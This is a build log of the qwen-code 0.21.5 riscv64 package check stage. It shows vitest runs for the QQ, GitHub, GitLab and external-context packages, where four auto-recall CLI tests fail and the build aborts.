[QQ:test-bot] Removed from group group-del-1 by admin-1, cleaned 0 stream(s) and 0 cron buffer(s)
[QQ:test-bot] Removed from group group-cron by admin-1, cleaned 2 stream(s) and 2 cron buffer(s)
[QQ:test-bot] Removed from group group-del-stream by admin-1, cleaned 1 stream(s) and 0 cron buffer(s)
[QQ:test-bot] Removed from group group-detect by admin-1, cleaned 1 stream(s) and 0 cron buffer(s)
[QQ:test-bot] Active msg disabled for group group-reject-1
[QQ:test-bot] Active msg enabled for group group-recv-1
[QQ:test-bot] WARNING: groupAllPolicy is 'keyword' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] Server sent INVALID_SESSION, falling back to IDENTIFY
[QQ:test-bot] Server sent INVALID_SESSION, falling back to IDENTIFY
[QQ:test-bot] WARNING: QQ state restore failed — routing maps are empty, group messages may be misrouted
[QQ:test-bot] Ready (0 sessions)
[QQ:test-bot] Server sent INVALID_SESSION, falling back to IDENTIFY
[QQ:test-bot] Server sent INVALID_SESSION, falling back to IDENTIFY
[QQ:test-bot] Ready (0 sessions)
[QQ:test-bot] Ready (warm reconnect, skipping state restore)
[QQ:test-bot] Token refresh failed: token endpoint down, will retry
[QQ:test-bot] Token refresh retry failed (attempt 1): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 2): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 3): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 4): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 5): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 6): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 7): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 8): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 9): token endpoint down
[QQ:test-bot] Token refresh retry failed (attempt 10): token endpoint down
[QQ:test-bot] FATAL: token refresh exhausted, reconnecting
[QQ:test-bot] Token refresh failed: token endpoint down, will retry
[QQ:test-bot] resolveRoute: no chat type for unknown-chat, dropping message
[QQ:test-bot] Invalid botOpenId format: not-hex!!
[QQ:test-bot] WebSocket closed (code=4009)
[QQ:test-bot] Reconnecting in 1000ms (attempt 0/20)
✓ src/events.test.ts (79 tests) 3079ms
[QQ:test-bot] Send error: send failed
[QQ:test-bot] toolCallFlush send failed: send failed
[QQ:test-bot] Send error: send failed
[QQ:test-bot] idleFlush send failed: send failed
[QQ:test-bot] Send error: send failed
[QQ:test-bot] idleFlush send failed: send failed
[QQ:test-bot] idleFlush retries exhausted for sess-1
[QQ:test-bot] onResponseComplete deferred (flush in-flight) session=sess-1
[QQ:test-bot] Send error: send failed
[QQ:test-bot] idleFlush send failed: send failed
[QQ:test-bot] Send error: send failed
[QQ:test-bot] idleFlush send failed: send failed
[QQ:test-bot] Send error: send failed
[QQ:test-bot] idleFlush send failed: send failed
[QQ:test-bot] idleFlush retries exhausted for sess-1
[QQ:test-bot] idleFlush discarded (reconnect) session=sess-1
[QQ:test-bot] Send error: network error
[QQ:test-bot] idleFlush send failed: network error
[QQ:test-bot] Send error: persistent error
[QQ:test-bot] idleFlush send failed: persistent error
[QQ:test-bot] Send error: persistent error
[QQ:test-bot] idleFlush send failed: persistent error
[QQ:test-bot] Send error: persistent error
[QQ:test-bot] idleFlush send failed: persistent error
[QQ:test-bot] idleFlush retries exhausted for sess-1
[QQ:test-bot] Send error: fail
[QQ:test-bot] idleFlush send failed: fail
[QQ:test-bot] Send error: fail
[QQ:test-bot] toolCallFlush send failed: fail
[QQ:test-bot] Send error: send failed
[QQ:test-bot] toolCallFlush send failed: send failed
[QQ:test-bot] Send error: fail
[QQ:test-bot] idleFlush send failed: fail
✓ src/stream.test.ts (43 tests) 1284ms
[QQ:test-bot] Failed to restore QQ state: Unexpected token 'o', "not json {{{" is not valid JSON
[QQ:test-bot] restoreQQState: accepted 2 chatTypeMap entries (rejected 1)
[QQ:test-bot] restoreQQState: accepted 1 msgSeqMap entries (rejected 2)
[QQ:test-bot] flushQQState write failed: disk full
✓ src/persistence.test.ts (27 tests) 1010ms
[QQ:test-bot] Cron text chunk dropped (not ready): should be ignored for session sess-1
[QQ:test-bot] Disconnect: discarding 1 buffered cron message(s)
[QQ:test-bot] resetRoutingState: orphaned cron flow (depth=1) during disconnect
[QQ:test-bot] resetRoutingState: orphaned cron flow (depth=3) during disconnect
✓ src/cron.test.ts (15 tests) 1184ms
✓ cronTextHandler > accumulates chunks and flushes after 2s idle timer 358ms
[QQ] Token request failed (HTTP 401)
✓ src/api.test.ts (28 tests) 878ms
✓ src/accounts.test.ts (8 tests) 313ms
Test Files 7 passed (7)
Tests 282 passed (282)
Start at 15:31:08
Duration 85.44s (transform 16.59s, setup 0ms, collect 30.05s, tests 10.32s, environment 62ms, prepare 14.67s)
npm notice run @qwen-code/channel-github@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/github
[Channel:test-github] listComments(issue:42) failed (attempt 1/3, status=undefined), retrying in 1000ms: rate limit
[Channel:test-github] listComments(issue:42) failed (attempt 2/3, status=undefined), retrying in 2000ms: rate limit
[Channel:test-github] API error processing issue:42, skipping: Error: rate limit
[Channel:test-github] listComments(issue:42) failed (attempt 1/3, status=undefined), retrying in 1000ms: rate limit
[Channel:test-github] listComments(issue:42) failed (attempt 2/3, status=undefined), retrying in 2000ms: rate limit
[Channel:test-github] API error processing issue:42, skipping: Error: rate limit
[Channel:test-github] markNotificationsAsRead failed (attempt 1/3, status=undefined), retrying in 1000ms: server error
[Channel:test-github] markNotificationsAsRead failed (attempt 2/3, status=undefined), retrying in 2000ms: server error
[Channel:test-github] listComments(issue:2) failed (attempt 1/3, status=undefined), retrying in 1000ms: API error
[Channel:test-github] listComments(issue:2) failed (attempt 2/3, status=undefined), retrying in 2000ms: API error
[Channel:test-github] API error processing issue:2, skipping: Error: API error
[Channel:test-github] listNotifications failed (attempt 1/3, status=undefined), retrying in 1000ms: transient
[Channel:test-github] listNotifications failed (attempt 1/3, status=undefined), retrying in 1000ms: persistent
[Channel:test-github] listNotifications failed (attempt 2/3, status=undefined), retrying in 2000ms: persistent
[Channel:test-github] skipping notification (reason=author not in reasonFilter, subject=https://api.github.com/repos/owner/repo/issues/42)
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] listNotifications failed (attempt 1/3, status=undefined), retrying in 1000ms: persistent
[Channel:test-github] listNotifications failed (attempt 2/3, status=undefined), retrying in 2000ms: persistent
[Channel:test-github] poll error (attempt 1), backing off 2000ms: Error: persistent
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=403), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] failed to read pending GitHub deliveries: Expected property name or '}' in JSON at position 1 (line 1 column 2)
[Channel:test-github] failed to update pending GitHub deliveries: Expected property name or '}' in JSON at position 1 (line 1 column 2)
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] legacy GitHub state migration failed: EEXIST: file already exists, mkdir '/tmp/qwen-gh-test-EkWdXe/channels/test-0872effe487c'
[Channel:test-github] failed to read GitHub inbound tasks: ENOTDIR: not a directory, open '/tmp/qwen-gh-test-EkWdXe/channels/test-0872effe487c/test-github-ad83f0bd70302ca6-github-inbound-tasks.json'
[Channel:test-github] failed to read GitHub inbound tasks: ENOTDIR: not a directory, open '/tmp/qwen-gh-test-EkWdXe/channels/test-0872effe487c/test-github-ad83f0bd70302ca6-github-inbound-tasks.json'
[Channel:test-github] failed to read pending GitHub deliveries: ENOTDIR: not a directory, open '/tmp/qwen-gh-test-EkWdXe/channels/test-0872effe487c/test-github-ad83f0bd70302ca6-github-pending-deliveries.json'
[Channel:test-github] inbound task recovery failed, will retry next poll: Error: ENOTDIR: not a directory, open '/tmp/qwen-gh-test-EkWdXe/channels/test-0872effe487c/test-github-ad83f0bd70302ca6-github-inbound-tasks.json'
[Channel:test-github] dropping pending GitHub delivery already recorded as posted: pending
[Channel:test-github] handleInbound failed for 1001: Error: ambiguous transport failure
[Channel:test-github] publication audit write failed: EISDIR: illegal operation on a directory, open '/tmp/qwen-gh-test-DraruG/channels/test-0872effe487c/test-github-ad83f0bd70302ca6-github-audit.jsonl'
[Channel:test-github] publication audit write failed: EISDIR: illegal operation on a directory, open '/tmp/qwen-gh-test-DraruG/channels/test-0872effe487c/test-github-ad83f0bd70302ca6-github-audit.jsonl'
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] postErrorComment(owner/repo#42) failed (attempt 1/3, status=undefined), retrying in 1000ms: comment creation outage
[Channel:test-github] postErrorComment(owner/repo#42) failed (attempt 2/3, status=undefined), retrying in 2000ms: comment creation outage
[Channel:test-github] postErrorComment also failed for owner/repo#42, user must re-mention manually: Error: comment creation outage
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] failed to read GitHub inbound tasks: invalid GitHub inbound task state
[Channel:test-github] inbound task recovery failed, will retry next poll: Error: invalid GitHub inbound task state
[Channel:test-github] failed to read GitHub inbound tasks: invalid GitHub inbound task state
[Channel:test-github] failed to fetch issue for first contact: Error: invalid GitHub inbound task state
[Channel:test-github] handleInbound failed for 1001: Error: cancelled
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] handleInbound failed for 1001: Error: rate limited
[Channel:test-github] failed to read pending GitHub deliveries: EISDIR: illegal operation on a directory, read
[Channel:test-github] API error processing issue:42, skipping: Error: EISDIR: illegal operation on a directory, read
[Channel:test-github] failed to read pending GitHub deliveries: Expected property name or '}' in JSON at position 1 (line 1 column 2)
[Channel:test-github] createComment(issue:42) failed (attempt 1/3, status=429), retrying in 1000ms: rate limited
[Channel:test-github] createComment(issue:42) failed (attempt 2/3, status=429), retrying in 2000ms: rate limited
[Channel:test-github] failed to read pending GitHub deliveries: EISDIR: illegal operation on a directory, read
[Channel:test-github] handleInbound failed for 1001: Error: [Channel:test-github] failed to persist pending GitHub delivery: EISDIR: illegal operation on a directory, read
[Channel:test-github] failed to read pending GitHub deliveries: EISDIR: illegal operation on a directory, read
[Channel:test-github] inbound task recovery failed, will retry next poll: Error: EISDIR: illegal operation on a directory, read
[Channel:test-github] inbound task recovery failed, will retry next poll: Error: EISDIR: illegal operation on a directory, read
[Channel:test-github] dropping pending GitHub delivery already recorded as posted: pending-1
[Channel:test-github] handleInbound failed for 1001: Error: agent down
[Channel:test-github] handleInbound failed for 1002: Error: agent down
[Channel:test-github] handleInbound failed for 1001: Error: Cannot read properties of undefined (reading 'id')
[Channel:test-github] handleInbound failed for 1001: Error: Cannot read properties of undefined (reading 'id')
[Channel:test-github] removeAcknowledgement(1001) failed (attempt 1/3, status=undefined), retrying in 1000ms: 403
[Channel:test-github] removeAcknowledgement(1001) failed (attempt 2/3, status=undefined), retrying in 2000ms: 403
[Channel:test-github] failed to remove acknowledgement from comment 1001: Error: 403
[Channel:test-github] acknowledgeComment(1001) failed (attempt 1/3, status=undefined), retrying in 1000ms: 403
[Channel:test-github] acknowledgeComment(1001) failed (attempt 2/3, status=undefined), retrying in 2000ms: 403
[Channel:test-github] failed to acknowledge comment 1001: Error: 403
[Channel:test-github] handleInbound failed for event-2001: Error: Cannot read properties of undefined (reading 'id')
[Channel:test-github] handleInbound failed for issue-body-42: Error: Cannot read properties of undefined (reading 'id')
[Channel:test-github] test-op failed (attempt 1/3, status=429), retrying in 2000ms: HTTP 429
[Channel:test-github] test-op failed (attempt 1/3, status=403), retrying in 6000ms: HTTP 403
[Channel:test-github] test-op failed (attempt 1/3, status=500), retrying in 1000ms: HTTP 500
[Channel:test-github] test-op failed (attempt 2/3, status=502), retrying in 2000ms: HTTP 502
[Channel:test-github] test-op failed (attempt 1/3, status=500), retrying in 1000ms: HTTP 500
[Channel:test-github] test-op failed (attempt 2/3, status=500), retrying in 2000ms: HTTP 500
✓ src/GithubAdapter.test.ts (144 tests) 12054ms
✓ GithubChannel > connect > resolves bot username 373ms
✓ GithubChannel > poll and process > processes a mention comment 578ms
✓ GithubChannel > poll and process > excludes comments at or below the cursor window lower bound 455ms
✓ src/mention.test.ts (17 tests) 317ms
Test Files 2 passed (2)
Tests 161 passed (161)
Start at 15:32:48
Duration 44.23s (transform 11.87s, setup 0ms, collect 18.28s, tests 12.37s, environment 18ms, prepare 4.58s)
npm notice run @qwen-code/channel-gitlab@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/gitlab
[Channel:test-gl] warning: action_prompt_template is not configured; no todos will be processed
[Channel:test-gl] warning: action_prompt_template is not configured; no todos will be processed
[Channel:test-gitlab] error processing todo 100: Error: agent failed
[Channel:test-gitlab] error processing todo 1: Error: agent failed
[Channel:test-gitlab] error processing todo 2: Error: agent failed
[Channel:test-gitlab] failed to acknowledge note 1001: Error: 403
[Channel:test-gitlab] failed to remove acknowledgement from note 1001: Error: 403
[Channel:test-gitlab] failed to remove acknowledgement from note 1001: Error: 403
✓ src/GitlabAdapter.test.ts (43 tests) 6333ms
✓ GitlabChannel > pollOnce > drains a very large backlog without dispatching 2940ms
✓ src/mention.test.ts (14 tests) 331ms
Test Files 2 passed (2)
Tests 57 passed (57)
Start at 15:33:47
Duration 35.03s (transform 8.92s, setup 0ms, collect 14.53s, tests 6.66s, environment 15ms, prepare 4.60s)
npm notice run @qwen-code/external-context@0.20.1 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/integrations/external-context
❯ src/auto-recall.test.ts (32 tests | 4 failed) 38238ms
✓ createAutoRecallQuery > removes code and common credentials 2046ms
✓ createAutoRecallQuery > removes the configured credential even when embedded in other text 17ms
✓ createAutoRecallQuery > does not interpret expansion markers in submitted text 11ms
✓ createAutoRecallQuery > limits output to 512 Unicode code points and skips empty output 65ms
✓ createAutoRecallQuery > caps sanitizer work so a backtracking-shaped prompt cannot stall the Hook 1130ms
✓ createAutoRecallQuery > redacts a secret assignment claimed by a leading label 10ms
✓ createAutoRecallQuery > leaves a benign labeled sentence untouched 14ms
✓ createAutoRecallQuery > redacts a secret assignment with spaces around the separator 14ms
✓ createAutoRecallQuery > redacts an inline JSON secret but keeps benign quoted prose 13ms
✓ createAutoRecallQuery > does not redact a secret word used as ordinary prose 13ms
✓ runAutoRecall > retrieves once using only submitted prompt provenance 336ms
✓ runAutoRecall > does not inspect the legacy prompt field 88ms
✓ runAutoRecall > skips a missing submitted prompt before loading configuration 33ms
✓ runAutoRecall > skips a empty submitted prompt before loading configuration 25ms
✓ runAutoRecall > skips a whitespace-only submitted prompt before loading configuration 67ms
✓ runAutoRecall > skips a number submitted prompt before loading configuration 20ms
✓ runAutoRecall > skips a object submitted prompt before loading configuration 19ms
✓ runAutoRecall > skips a null submitted prompt before loading configuration 25ms
✓ runAutoRecall > skips malformed events, empty queries, v1 configs, and directories outside the root 56ms
✓ runAutoRecall > rejects a cwd that escapes the root through a symlink 63ms
✓ runAutoRecall > does not inject an empty provider result 32ms
× runAutoRecallCli > runs as a child process and exits without stderr or a retained timer 8609ms
→ expected { exitCode: null, …(3) } to deeply equal { exitCode: +0, signal: null, …(2) }
× runAutoRecallCli > runs when the configured entry point is a symbolic link 8280ms
→ expected { exitCode: null, …(3) } to deeply equal { exitCode: +0, signal: null, …(2) }
× runAutoRecallCli > runs the real Hook process against a bound Generic HTTP provider 8341ms
→ expected null to be +0 // Object.is equality
× runAutoRecallCli > exits after a provider timeout leaves a proxy CONNECT stalled 8209ms
→ expected { exitCode: null, …(3) } to deeply equal { exitCode: +0, signal: null, …(2) }
✓ runAutoRecallCli > fails open with empty output for invalid JSON 99ms
✓ runAutoRecallCli > fails open with empty output for wrong event 23ms
✓ runAutoRecallCli > fails open with empty output for oversized input 91ms
✓ runAutoRecallCli > fails open without exposing provider errors 46ms
✓ runAutoRecallCli > aborts an in-flight request at the configured provider timeout 92ms
✓ runAutoRecallCli > aborts an in-flight request at the internal wall-clock budget 196ms
✓ runAutoRecallCli > closes stalled stdin at the internal wall-clock budget 55ms
✓ src/providers.test.ts (16 tests) 4583ms
✓ GenericHttpSearchV1Adapter > sends only query and limit without discarding content for bad metadata 1697ms
✓ GenericHttpSearchV1Adapter > filters invalid entries before applying the result limit 399ms
✓ GenericHttpSearchV1Adapter > rejects a streamed response larger than 1 MiB 331ms
✓ Mem0PlatformV3Adapter > normalizes Mem0 and Generic HTTP results to the same context 636ms
✓ src/config.test.ts (22 tests) 1434ms
✓ loadConfig > resolves an environment credential and the default timeout 443ms
✓ src/mcp.test.ts (7 tests) 1720ms
✓ external context MCP server > registers only a provider-bound retrieval tool 871ms
✓ src/context.test.ts (7 tests) 508ms
✓ src/manifest.test.ts (6 tests) 424ms
✓ src/main.test.ts (4 tests) 1626ms
✓ external context startup > installs an environment-aware HTTP proxy dispatcher 728ms
✓ external context startup > prints a sanitized error for invalid proxy configuration 512ms
✓ src/proxy.test.ts (3 tests) 886ms
✓ installEnvironmentProxy > installs an environment-aware HTTP dispatcher 700ms
⎯⎯⎯⎯⎯⎯⎯ Failed Tests 4 ⎯⎯⎯⎯⎯⎯⎯
FAIL src/auto-recall.test.ts > runAutoRecallCli > runs as a child process and exits without stderr or a retained timer
AssertionError: expected { exitCode: null, …(3) } to deeply equal { exitCode: +0, signal: null, …(2) }
[32m- Expected[39m
[31m+ Received[39m
[2m {[22m
[32m- "exitCode": 0,[39m
[32m- "signal": null,[39m
[31m+ "exitCode": null,[39m
[31m+ "signal": "SIGKILL",[39m
[2m "stderr": "",[22m
[32m- "stdout": "{}",[39m
[31m+ "stdout": "",[39m
[2m }[22m
❯ src/auto-recall.test.ts:390:20
388| const result = await runAutoRecallProcess('{');
389|
390| expect(result).toEqual({
| ^
391| exitCode: 0,
392| signal: null,
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/4]⎯
FAIL src/auto-recall.test.ts > runAutoRecallCli > runs when the configured entry point is a symbolic link
AssertionError: expected { exitCode: null, …(3) } to deeply equal { exitCode: +0, signal: null, …(2) }
[32m- Expected[39m
[31m+ Received[39m
[2m {[22m
[32m- "exitCode": 0,[39m
[32m- "signal": null,[39m
[31m+ "exitCode": null,[39m
[31m+ "signal": "SIGKILL",[39m
[2m "stderr": "",[22m
[32m- "stdout": "{}",[39m
[31m+ "stdout": "",[39m
[2m }[22m
❯ src/auto-recall.test.ts:411:7
409| );
410|
411| await expect(runAutoRecallProcess('{', link)).resolves.toEqual({
| ^
412| exitCode: 0,
413| signal: null,
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[2/4]⎯
FAIL src/auto-recall.test.ts > runAutoRecallCli > runs the real Hook process against a bound Generic HTTP provider
AssertionError: expected null to be +0 // Object.is equality
[32m- Expected:[39m
0
[31m+ Received:[39m
null
❯ src/auto-recall.test.ts:489:31
487| );
488|
489| expect(result.exitCode).toBe(0);
| ^
490| expect(result.signal).toBeNull();
491| expect(result.stderr).toBe('');
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[3/4]⎯
FAIL src/auto-recall.test.ts > runAutoRecallCli > exits after a provider timeout leaves a proxy CONNECT stalled
AssertionError: expected { exitCode: null, …(3) } to deeply equal { exitCode: +0, signal: null, …(2) }
[32m- Expected[39m
[31m+ Received[39m
[2m {[22m
[32m- "exitCode": 0,[39m
[32m- "signal": null,[39m
[31m+ "exitCode": null,[39m
[31m+ "signal": "SIGKILL",[39m
[2m "stderr": "",[22m
[32m- "stdout": "{}",[39m
[31m+ "stdout": "",[39m
[2m }[22m
❯ src/auto-recall.test.ts:577:22
575| );
576|
577| expect(result).toEqual({
| ^
578| exitCode: 0,
579| signal: null,
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[4/4]⎯
Test Files 1 failed | 7 passed (8)
Tests 4 failed | 93 passed (97)
Start at 15:34:36
Duration 120.13s (transform 6.12s, setup 0ms, collect 18.76s, tests 49.42s, environment 77ms, prepare 17.03s)
npm error Lifecycle script `test` failed with error:
npm error code 1
npm error path /build/qwen-code/src/qwen-code/integrations/external-context
npm error workspace @qwen-code/external-context@0.20.1
npm error location /build/qwen-code/src/qwen-code/integrations/external-context
npm error command failed
npm error command sh -c vitest run --config vitest.config.ts --testTimeout=30000 --no-file-parallelism '--exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*'
[1m[31m==> ERROR:[m[1m A failure occurred in check().[m
[1m Aborting...[m
]3008;end=09358c05c12e4f8ebf1ed05d7d02e667\[23;2t[!p]104\[0m[?7h[1G[0J]3008;end=2589bb87018248da90ea67ada367a384\[1m[31m==> ERROR:[m[1m Build failed, check /var/lib/archbuild/extra-riscv64/felix-0/build[m
[34h[?25h[34h[?25h]3008;end=af7df59dbddf4821afa7413021fb1c8d\[34h[?25hreceiving incremental file list
qwen-code-0.21.5-1-riscv64-build.log
qwen-code-0.21.5-1-riscv64-check.log
qwen-code-0.21.5-1-riscv64-prepare.log
sent 81 bytes received 314,747 bytes 209,885.33 bytes/sec
total size is 3,686,689 speedup is 11.71